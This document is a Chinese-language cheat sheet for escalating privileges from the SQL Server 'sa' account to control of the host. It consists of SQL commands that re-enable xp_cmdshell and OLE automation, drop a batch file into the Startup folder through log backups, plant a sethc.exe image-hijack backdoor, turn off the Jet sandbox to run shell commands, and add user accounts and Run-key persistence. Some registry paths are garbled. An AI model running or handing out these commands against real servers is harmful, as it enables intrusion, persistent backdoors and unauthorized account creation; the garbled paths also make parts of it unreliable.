SA提权辅助：

1.判断扩展存储是否存在：

  select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'
  select count(*) from master.dbo.sysobjects where name='xp_regread'
  恢复：
  exec sp_dropextendedproc 'xp_cmdshell'
  exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
  EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;(SQL2005)

2.列目录：

  exec master..xp_cmdshell 'ver'
  (or) exec master..xp_dirtree 'c:\',1,1
  (or) drop table black
       create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-- 
       insert into black exec master..xp_cmdshell 'dir c:\' 
       select top 1 mulu from black where id=1
xp_cmdshell被删除时，可以用(4.a)开启沙盒模式，然后(4.b)方法提权

3.备份启动项：

  alter database [master] set RECOVERY FULL
  create table cmd (a image)
  backup log [master] to disk = 'c:\cmd1' with init
  insert into cmd (a) values (0x(batcode))
  backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'
  drop table cmd

4.映像劫持

  xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'

5.沙盒模式提权：

  法a：exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet.0\Engines','SandBoxMode','REG_DWORD',0; #关闭沙盒模式
  法b：Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user mstlab mstlab /add")'); #or c:\windows\system32\ias\dnary.mdb string类型用此。
开启OpenRowSet：exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

6.xp_regwrite操作注册表

  exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion un','black','REG_SZ','net user test test /add'
  开启xp_oacreate:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;